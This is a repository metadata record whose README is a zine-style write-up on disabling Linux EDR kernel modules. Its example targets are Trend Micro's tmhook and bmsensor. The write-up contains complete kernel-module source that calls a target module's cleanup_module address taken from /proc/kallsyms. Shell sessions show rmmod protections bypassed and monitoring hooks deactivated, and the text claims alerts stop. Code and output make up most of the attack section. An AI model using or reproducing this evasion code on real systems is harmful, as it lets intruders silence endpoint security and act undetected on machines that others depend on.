{"id":28415717,"url":"https://github.com/matheuzsecurity/unhookinglinuxedr","last_synced_at":"2025-07-03T20:33:24.148Z","repository":{"id":285631418,"uuid":"958801951","full_name":"MatheuZSecurity/UnhookingLinuxEdr","owner":"MatheuZSecurity","description":"Attacking the cleanup_module function of a kernel module","archived":false,"fork":false,"pushed_at":"2025-04-01T20:14:33.000Z","size":12,"stargazers_count":36,"open_issues_count":0,"forks_count":11,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-06-25T15:51:29.246Z","etag":null,"topics":["cortex","edr","hook","kernel","linux","lkm","malware","module","research","rootkit","trendmicro","trick"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/MatheuZSecurity.png","metadata":{"files":{"readme":"readme.txt","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-04-01T19:34:37.000Z","updated_at":"2025-06-04T11:53:16.000Z","dependencies_parsed_at":"2025-04-01T21:36:57.895Z","dependency_job_id":null,"html_url":"https://github.com/MatheuZSecurity/UnhookingLinuxEdr","commit_stats":null,"previous_names":["matheuzsecurity/unhookinglinuxedr"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/MatheuZSecurity/UnhookingLinuxEdr","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FUnhookingLinuxEdr","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FUnhookingLinuxEdr/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FUnhookingLinuxEdr/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FUnhookingLinuxEdr/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/MatheuZSecurity","download_url":"https://codeload.github.com/MatheuZSecurity/UnhookingLinuxEdr/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FUnhookingLinuxEdr/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":263400131,"owners_count":23460824,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cortex","edr","hook","kernel","linux","lkm","malware","module","research","rootkit","trendmicro","trick"],"created_at":"2025-06-03T17:43:00.444Z","updated_at":"2025-07-03T20:33:24.134Z","avatar_url":"https://github.com/MatheuZSecurity.png","language":null,"readme":"root@malware:~# insmod unhook.ko\nroot@malware:~# dmesg\n[ 1337.001337]\n[ 1337.001337]  \n[ 1337.001337]  Unhooking Linux EDRs\n[ 1337.001337]     \n[ 1337.001337]\nroot@malware:~#\n\n--[ Summary ]-----------------------------------------------------------------\n\n1 - Introduction\n2 - Understanding how Kernel Module is removed\n3 - Unhooking EDR\n4 - Conclusion\n\n--[ 1 ]--------------------------------------------[ Introduction ]-----\n\nLinux security has always been a subject of great interest to me, especially\nwhen it comes to detecting and mitigating threats at the kernel level. \nI am constantly seeking to understand the mechanisms used for system \nmonitoring and protection, and this time, I have deepened my research in \nEDRs (Endpoint Detection and Response) on Linux.\n\nCurrently, various EDR solutions uses LKMs (Loadable Kernel Modules) \nto system call hooking and implementing security mechanisms. For example, \nTrend Micro Deep Security utilizes kernel modules for monitoring and protection,\nwhereas CrowdStrike Falcon relies on eBPF (Extended Berkeley Packet Filter) \nand ML (Machine Learning).\n\nWhat caught my attention the most were EDRs that utilize LKMs. In this zine, \nI will explore how we can manipulate these hooks removing hooks from a \nspecific LKM to prevent alert generation and potentially disable its \nprotection mechanisms.\n\n\n--[ 2 ]--------------------------------------------[ Understanding how Kernel Module is removed ]-----\n\nFirst, we need to understand how a kernel module is removed. To do this, \nlet's look at a simple C code snippet that represents a Loadable Kernel Module (LKM):\n\n\n╔═══════════════════════════════════════╗\n#include \u003clinux/module.h\u003e\n#include \u003clinux/kernel.h\u003e\n#include \u003clinux/init.h\u003e\n\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"matheuz\");\nMODULE_DESCRIPTION(\"Example\");\n\nint matheuz_init(void) {\n    printk(KERN_INFO \"Hello, @matheuz!\\n\");\n    return 0;\n}\n\nvoid matheuz_exit(void) {\n    printk(KERN_INFO \"Bye, @matheuz!\\n\");\n}\n\nmodule_init(matheuz_init);\nmodule_exit(matheuz_exit);\n╚═══════════════════════════════════════╝\n\nWhen the module is loaded, the kernel call matheuz_init(), logging \n\"Hello, @matheuz!\" in the kernel log. Upon removal with rmmod, the kernel checks \nif the module is in use (refcount), calls matheuz_exit(), logs \"Bye, @matheuz!\", \nand removes the LKM, making it disappear from /proc/modules and /sys/module/.\n\nInterestingly, the kernel creates an alias called cleanup_module, pointing \nto matheuz_exit(), which can be verified through /proc/kallsyms:\n\n\n╔════════════════════════════════════════════════════════════════════════╗\n cowboy@bebop:~$ sudo insmod matheuz.ko\n cowboy@bebop:~$ dmesg\n [ 1894.726088] Hello, @matheuz!\n cowboy@bebop:~$ sudo cat /proc/kallsyms|grep matheuz | grep -e cleanup_mod\n ffffffffc113b010 d __UNIQUE_ID___addressable_cleanup_module467  [matheuz]\n ffffffffc1139040 t cleanup_module [matheuz]\n ffffffffc1139030 t __pfx_cleanup_module [matheuz]\n cowboy@bebop:~$\n╚════════════════════════════════════════════════════════════════════════╝\n\nYou might be wondering: why does this matter? After all, only root users \ncan remove modules using rmmod in specific, right? Wrong. Some security solutions, \nsuch as Trend Micro's EDR, implement protections that prevent their kernel module \nfrom being removed even with root:\n\n\n╔════════════════════════════════════════════════════════════════════════╗\nroot@edr:~# lsmod|grep tmhook\ntmhook                143360  110 bmsensor\nroot@edr:~# lsmod|grep bmsensor\nbmsensor              557056  2\ntmhook                143360  110 bmsensor\nroot@edr:~# \nroot@edr:~# rmmod -f bmsensor\nrmmod: ERROR: ../libkmod/libkmod-module.c:799 kmod_module_remove_module() could not remove 'bmsensor': Resource temporarily unavailable\nrmmod: ERROR: could not remove module bmsensor: Resource temporarily unavailable\nroot@edr:~# \nroot@edr:~# rmmod -f tmhook\nrmmod: ERROR: ../libkmod/libkmod-module.c:799 kmod_module_remove_module() could not remove 'tmhook': Resource temporarily unavailable\nrmmod: ERROR: could not remove module tmhook: Resource temporarily unavailable\nroot@edr:~# \nroot@edr:~# \n╚════════════════════════════════════════════════════════════════════════╝\n\nBut what if, instead of using rmmod, we directly calls the module's \ncleanup_module function, bypassing these restrictions?\n\n--[ 3 ]--------------------------------------------[ Unhooking EDR  ]-----\n\nSince rmmod is not a viable option, we can bypass this limitation by directly calls\nthe module's cleanup_module function. But how is this possible? The answer \nis simple: by creating an LKM that have the function's address and calls it.\n\nIn other words, if we find cleanup_module through /proc/kallsyms and call it,\nwe can disable the module's hooks without actually removing it from memory.\n\n\n╔════════════════════════════════════════════════════════════════════════╗\n#include \u003clinux/init.h\u003e\n#include \u003clinux/module.h\u003e\n#include \u003clinux/kernel.h\u003e\n#include \u003clinux/list.h\u003e\n#include \u003clinux/slab.h\u003e\n\nstruct module_entry {\n    struct list_head list;\n    char *name; \n    void *address;\n};\n\nstatic LIST_HEAD(module_list);\n\nstatic void add_entry(char *name, void *address) {\n    struct module_entry *mod;\n    mod = kmalloc(sizeof(struct module_entry), GFP_KERNEL);\n    if (!mod) {\n        printk(KERN_ERR \"Deu ruimkjkj.\\n\");\n        return;\n    }\n    mod-\u003ename = name;\n    mod-\u003eaddress = address;\n    list_add_tail(\u0026mod-\u003elist, \u0026module_list);\n}\n\nstatic void magick_lol(void) {\n    struct module_entry *entry;\n    list_for_each_entry(entry, \u0026module_list, list) {\n        if (strcmp(entry-\u003ename, \"cleanup_module\") == 0) {\n\n            ((void (*)(void))entry-\u003eaddress)();\n            break;\n        }\n    }\n}\n\nstatic int __init lkm_init(void) {\n    add_entry(\"cleanup_module\", (void *)0xffffffffc093b990); //call\n    magick_lol();\n\n    return 0;\n}\n\nstatic void __exit lkm_exit(void) {\n  printk(KERN_INFO \"Qlq coisa kkjkjkjk\\n\");\n}\n\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"matheuz\");\nMODULE_DESCRIPTION(\"Sem descrição kkjkjk\");\nMODULE_VERSION(\"1.0\");\n\nmodule_init(lkm_init);\nmodule_exit(lkm_exit);\n╚════════════════════════════════════════════════════════════════════════╝\n\nIn short, this simple code creates a linked list of structures where each entry\ncontains the name and address of a function specifically, cleanup_module\nfrom the tmhook module.\n\nIt then adds an entry for cleanup_module with its corresponding address and\ncalls the function magick_lol(), which searches for this entry in the list. \nIf found, it calls the associated function.\n\nOnce the LKM is loaded, you can check the kernel logs with dmesg to confirm\nthat the module has been successfully \"removed.\" As a result, all protections\nwill be bypassed, alerts will stop triggering, and any hooked operations within\nthe kernel module will cease to function. This is because cleanup_module\nis simply an alias for module_exit, meaning the module still appears in lsmod,\nbut its hooks are no longer active.\n\n\n╔════════════════════════════════════════════════════════════════════════╗\nroot@edr:~# lsmod|grep tmhook\ntmhook                143360  110 bmsensor\nroot@edr:~# \nroot@edr:~# dmesg|grep tmhook\n[   24.211040] tmhook: loading out-of-tree module taints kernel.\n[   24.211046] tmhook: tainting kernel with TAINT_LIVEPATCH\n[   24.211048] tmhook: module verification failed: signature and/or required key missing - tainting kernel\n[   24.318298] tmhook: tmhook_lookup_symbol(do_int80_syscall_32) failed: register_kprobe = -2\n[   24.318438] tmhook: tmhook_lookup_symbol(ia32_sys_call_table) failed: register_kprobe = -2\n[   24.388078] livepatch: enabling patch 'tmhook'\n[   24.397248] livepatch: 'tmhook': starting patching transition\n[   24.445418] tmhook: tmhook 1.2.2049 loaded\n[   41.049805] livepatch: 'tmhook': patching complete\nroot@edr:~# \nroot@edr:~# cat /proc/kallsyms|grep tmhook |grep -e cleanup_module\nffffffffc08cdd50 d __UNIQUE_ID___addressable_cleanup_module319  [tmhook]\nffffffffc08cb310 t cleanup_module [tmhook]\nffffffffc08cb300 t __pfx_cleanup_module [tmhook]\nroot@edr:~# \nroot@edr:~# cat unhook.c|grep cleanup_mod\n        if (strcmp(entry-\u003ename, \"cleanup_module\") == 0) {\n    add_entry(\"cleanup_module\", (void *)0xffffffffc08cb310); //call\nroot@edr:~# \n╚════════════════════════════════════════════════════════════════════════╝\n\nNotice that the Trend Micro tmhook module is currently loaded. Now,\nlet's call its cleanup_module function.\n\n╔════════════════════════════════════════════════════════════════════════╗\nroot@edr:~# insmod unhook.ko\nroot@edr:~# \nroot@edr:~# dmesg|grep tmhook\n[   24.211040] tmhook: loading out-of-tree module taints kernel.\n[   24.211046] tmhook: tainting kernel with TAINT_LIVEPATCH\n[   24.211048] tmhook: module verification failed: signature and/or required key missing - tainting kernel\n[   24.318298] tmhook: tmhook_lookup_symbol(do_int80_syscall_32) failed: register_kprobe = -2\n[   24.318438] tmhook: tmhook_lookup_symbol(ia32_sys_call_table) failed: register_kprobe = -2\n[   24.388078] livepatch: enabling patch 'tmhook'\n[   24.397248] livepatch: 'tmhook': starting patching transition\n[   24.445418] tmhook: tmhook 1.2.2049 loaded\n[   41.049805] livepatch: 'tmhook': patching complete\n[ 1040.077852] tmhook: tmhook 1.2.2049 unloaded\nroot@edr:~# \nroot@edr:~# \n╚════════════════════════════════════════════════════════════════════════╝\n\nAfter loading our LKM that calls cleanup_module, check the dmesg logs,\ntmhook has been successfully unloaded. This confirms that the technique\nworked perfectly! We can apply the same approach to bmsensor, Trend Micro's sensor module.\n\n\n╔════════════════════════════════════════════════════════════════════════╗\nroot@edr:~# cat /proc/kallsyms|grep bmsensor|grep -e cleanup_module\nffffffffc0947ef0 d __UNIQUE_ID___addressable_cleanup_module502  [bmsensor]\nffffffffc093b990 t cleanup_module [bmsensor]\nffffffffc093b980 t __pfx_cleanup_module [bmsensor]\nroot@edr:~# \nroot@edr:~# cat unhook.c |grep 990\n    add_entry(\"cleanup_module\", (void *)0xffffffffc093b990); //call\nroot@edr:~# \nroot@edr:~# insmod unhook.ko\nroot@edr:~# \n╚════════════════════════════════════════════════════════════════════════╝\n\nAs a result, no alerts will be triggered, and none of Trend Micro's module\nhooks will function, as we have effectively \"removed\" it, without actually using rmmod.\n\n\n╔════════════════════════════════════════════════════════════════════════╗\n cowboy@bebop:~$ sudo insmod matheuz.ko\n cowboy@bebop:~$ dmesg\n [ 5415.087197] Hello, @matheuz!\n cowboy@bebop:~$\n cowboy@bebop:~$ sudo cat /proc/kallsyms|grep matheuz|grep -e cleanup_mod\n ffffffffc113b010 d __UNIQUE_ID___addressable_cleanup_module467  [matheuz]\n ffffffffc1139040 t cleanup_module [matheuz]\n ffffffffc1139030 t __pfx_cleanup_module [matheuz]\n cowboy@bebop:~$\n cowboy@bebop:~$ cat unhook.c |grep cleanup_mod\n         if (strcmp(entry-\u003ename, \"cleanup_module\") == 0) {\n     add_entry(\"cleanup_module\", (void *)0xffffffffc1139040); //call\n cowboy@bebop:~$\n cowboy@bebop:~$ sudo insmod unhook.ko\n cowboy@bebop:~$\n cowboy@bebop:~$ dmesg\n [ 5415.087197] Hello, @matheuz!\n [ 5493.200914] Bye, @matheuz!\n cowboy@bebop:~$\n╚════════════════════════════════════════════════════════════════════════╝\n\nThis technique can be applied to any module that implements cleanup_module,\nwhether it's an EDR, a rootkit, or any other LKM.\n\n--[ 4 ]--------------------------------------------[ Conclusion ]-----\n\nKernel modules present multiple attack surfaces, and by manipulating cleanup_module,\nwe were able to disable hooks and suppress alerts without officially\nremoving the module. This demonstrates that the very design of Linux provides\nalternative pathways for those who know where to look.\n\nIf you have any questions, please contact me:\n\nDiscord: kprobe\nTwitter: @MatheuzSecurity\nRootkit Researchers: https://discord.gg/66N5ZQppU7\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatheuzsecurity%2Funhookinglinuxedr","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmatheuzsecurity%2Funhookinglinuxedr","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatheuzsecurity%2Funhookinglinuxedr/lists"}